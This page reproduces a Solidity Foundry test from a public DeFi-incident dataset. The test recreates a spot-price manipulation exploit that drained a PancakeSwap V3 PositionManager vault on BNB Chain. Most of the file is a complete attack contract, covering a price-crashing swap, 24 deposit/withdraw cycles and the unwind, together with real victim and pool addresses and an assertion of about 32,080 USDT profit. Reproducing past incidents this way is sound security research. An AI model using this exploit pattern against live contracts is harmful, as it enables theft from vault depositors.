Public reproduction file
src/test/2026-09/PositionManager_exp.sol
Public reproduction file for dataset entry PositionManager.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// PositionManager (symbol "PM", name "PositionManager") - PancakeSwap V3 spot-price (slot0) share7// mispricing drained the vault's own PancakeSwap V3 USDT/BTCB liquidity position - BNB Chain.8// Attacker realized 32,080.604282 USDT profit in a single atomic transaction.9//10// Attack tx : 0x8725c094ae697f4df653f372dd01b627815ed46dbff2d75a75c5c83a15163da3 (block 124829770)11// Attacker EOA : 0xfc3fAcD67138966aB0c841E905B0C4BCA1AbE92F (receives the final 32,080.60 USDT)12// Attack contract : 0x97F119508FD5CC15E90b539B603895a5CfC56808 (the tx `to`; the alert labelled this the13// "attacker", but on-chain it is the attack contract driving the loop)14// Victim : 0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00 (PositionManager, verified source)15// Main pool : 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4 (PancakeSwap V3 USDT/BTCB, fee 500,16// token0 = USDT, token1 = BTCB; this is both the LP pool and the slot0 oracle)17// Chainlink feed : 0x264990fbd0A4796A3E3d8E37C4d5F87a3aCa5Ebf (BTC/USD, the sound leg)18// USDT : 0x55d398326f99059fF775485246999027B3197955 (baseToken)19// BTCB : 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c20// Flash source : 0x238a358808379702088667322f80aC48bAd5e6c4 (PancakeSwap Infinity Vault, 0-fee flash;21// modelled below as dealt working capital, see note in testExploit)22//23// Root cause (confirmed against the verified PositionManager source, not just the alert):24// deposit(uint256) is permissionless - external nonReentrant, no owner/manager/keeper gate (the only25// gated functions are addLiquidity/removeLiquidity/updatePosition/changePoolData, all onlyRole). So is26// withdraw(). When the vault is in position, deposit() values the vault's holdings to size the shares it27// mints (PositionManager.sol:125-140):28// poolPrice = _processedPoolPrice() // slot0 sqrtPriceX96^2, RAW SPOT29// token1Price = _getChainlinkPrice() * PRECISION // BTC/USD, sound30// contractLiqInToken1 = amountToken0 * poolPrice / PRECISION + amountToken1 // USDT valued at SPOT31// contractLiqInBaseTok = contractLiqInToken1 * token1Price / (PRECISION*CHAINLINK_PRECISION)32// shares = depositAmount * totalSupply / contractLiqInBaseTok33// The Chainlink leg prices BTCB soundly, but the vault's existing USDT (amountToken0) is converted to34// BTCB-terms using the manipulable PancakeSwap V3 spot price. Depress the USDT/BTCB spot right before35// depositing and contractLiqInBaseToken (the denominator) is understated, so deposit() mints too many36// shares. withdraw() then burns those shares and pays out token0/token1 pro-rata against the real pool37// position (PositionManager.sol:187-200) with no delay, no TWAP and no deviation guard, so the inflated38// shares redeem real value in the same transaction.39//40// Attack flow, reconstructed below as ordinary typed calls (no raw calldata replay) exactly as the trace shows:41// 1. Obtain 9,000,010 USDT working capital (on-chain: a 0-fee PancakeSwap Infinity Vault flash loan).42// 2. Swap 8,000,000 USDT -> 91.765609 BTCB in the V3 pool (zeroForOne) to crash sqrtPriceX9643// from 274452124608361913298767630 to 261748504334048619437859565 -> USDT quotes far too cheap.44// 3. 24x: deposit(1,000,000 USDT) into the victim, which mints inflated PM shares against the crashed45// spot price, then immediately withdraw(), redeeming those shares for more value than was deposited.46// 4. Swap the BTCB back to USDT (reverse the manipulation and realize the drained value as USDT).47// 5. Repay the 9,000,010 USDT flash; keep the surplus.48//49// The pool is the loser here (its net USDT balance falls 32,096.098596 across the tx); the fee receiver50// (ProtocolManager proxy 0xec90...) collects 15.494313 USDT of deposit fees along the way, and the attacker51// EOA nets 32,080.604282 USDT - exactly the amount transferred out at the end of the on-chain trace.53interface IERC20 {54 function balanceOf(address) external view returns (uint256);55 function approve(address spender, uint256 amount) external returns (bool);56 function transfer(address to, uint256 amount) external returns (bool);57}59interface IPancakeV3Pool {60 function swap(61 address recipient,62 bool zeroForOne,63 int256 amountSpecified,64 uint160 sqrtPriceLimitX96,65 bytes calldata data66 ) external returns (int256 amount0, int256 amount1);67 function slot0()68 external69 view70 returns (71 uint160 sqrtPriceX96,72 int24 tick,73 uint16 observationIndex,74 uint16 observationCardinality,75 uint16 observationCardinalityNext,76 uint32 feeProtocol,77 bool unlocked78 );79 function token0() external view returns (address);80 function token1() external view returns (address);81}83interface IPositionManager {84 function deposit(uint256 depositAmount) external returns (uint256 shares);85 function withdraw() external;86}88contract PositionManagerExploit {89 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);90 IERC20 constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);91 IPancakeV3Pool constant POOL = IPancakeV3Pool(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);92 IPositionManager constant VICTIM = IPositionManager(0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00);94 // PancakeSwap V3 / TickMath sqrt price bounds, used as swap price limits.95 uint160 constant MIN_SQRT_RATIO = 4_295_128_739;96 uint160 constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;98 uint256 constant MANIPULATION_USDT = 8_000_000 ether; // dumped to crash the USDT/BTCB spot price99 uint256 constant DEPOSIT_AMOUNT = 1_000_000 ether; // per cycle100 uint256 constant CYCLES = 24; // exactly as on-chain102 function attack() external {103 // Step 1: crash the pool's spot price. token0 = USDT, token1 = BTCB, so zeroForOne dumps USDT for104 // BTCB and pushes sqrtPriceX96 down -> the vault's USDT reads cheap when deposit() values it.105 POOL.swap(address(this), true, int256(MANIPULATION_USDT), MIN_SQRT_RATIO + 1, "");107 // Step 2: 24 permissionless deposit->withdraw cycles. Each deposit mints inflated shares against the108 // depressed spot price; each withdraw redeems them pro-rata against the real position for more value.109 USDT.approve(address(VICTIM), type(uint256).max);110 for (uint256 i = 0; i < CYCLES; i++) {111 VICTIM.deposit(DEPOSIT_AMOUNT);112 VICTIM.withdraw();113 }115 // Step 3: reverse the manipulation - sell all BTCB back to USDT, realizing the drained value.116 uint256 btcbBal = BTCB.balanceOf(address(this));117 if (btcbBal > 0) {118 POOL.swap(address(this), false, int256(btcbBal), MAX_SQRT_RATIO - 1, "");119 }120 }122 // V3 swap callback: pay whichever token the pool is owed (positive delta). token0 = USDT, token1 = BTCB.123 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {124 require(msg.sender == address(POOL), "not pool");125 if (amount0Delta > 0) USDT.transfer(msg.sender, uint256(amount0Delta));126 if (amount1Delta > 0) BTCB.transfer(msg.sender, uint256(amount1Delta));127 }128}130contract PositionManager_exp is Test {131 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);132 IERC20 constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);133 address constant POOL = 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4;134 address constant VICTIM = 0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00;136 // 0-fee PancakeSwap Infinity Vault flash loan taken on-chain; modelled here as dealt working capital.137 uint256 constant FLASH_CAPITAL = 9_000_010 ether;139 function setUp() public {140 // The default "bsc" foundry.toml endpoint is not archival at this height; pin an archive node so141 // the PoC is self-contained and needs no env vars.142 vm.createSelectFork("https://bsc-mainnet.public.blastapi.io", 124_829_769); // parent of the exploit block143 }145 function testExploit() public {146 emit log_named_decimal_uint("pool USDT reserve before", USDT.balanceOf(POOL), 18);147 emit log_named_decimal_uint("pool BTCB reserve before", BTCB.balanceOf(POOL), 18);149 PositionManagerExploit exploit = new PositionManagerExploit();151 // Provide the flash-loan working capital (repaid implicitly: profit is measured net of it below).152 deal(address(USDT), address(exploit), FLASH_CAPITAL);153 assertEq(BTCB.balanceOf(address(exploit)), 0, "attacker should start with no BTCB");155 exploit.attack();157 // All BTCB sold back to USDT inside attack(); nothing left over.158 assertEq(BTCB.balanceOf(address(exploit)), 0, "BTCB not fully unwound");160 uint256 finalUsdt = USDT.balanceOf(address(exploit));161 uint256 profit = finalUsdt - FLASH_CAPITAL; // net of repaying the 9,000,010 USDT flash163 emit log_named_decimal_uint("pool USDT reserve after ", USDT.balanceOf(POOL), 18);164 emit log_named_decimal_uint("attacker USDT profit ", profit, 18);166 // Matches the 32,080.604282546162934055 USDT sent to the attacker EOA at the end of the on-chain trace.167 assertApproxEqRel(profit, 32_080_604282546162934055, 0.01e18, "profit off expected ~32.08K USDT");168 }169}Analysis
Dataset entry
Public Foundry test for “PositionManager” (2026-09-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfc3facd67138966ab0c841e905b0c4bca1abe92f
- Attack contract
0x97f119508fd5cc15e90b539b603895a5cfc56808
- Victim
0x7cedb2e5d7791c7d46c5c9d35eac4775bc887f00
- Attack Tx
0x8725c094ae697f4df653f372dd01b627815ed46dbff2d75a75c5c83a15163da3
File record
- Name
- PositionManager
- Path
- src/test/2026-09/PositionManager_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cc3a77bfb8d2ee74aab30bf2b4a882992dc4f1cf
- Language
- Solidity
- Size
- 170 lines
- Date
- 2026-09-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/PositionManager_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cc3a77bfb8d2ee74aab30bf2b4a882992dc4f1cf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.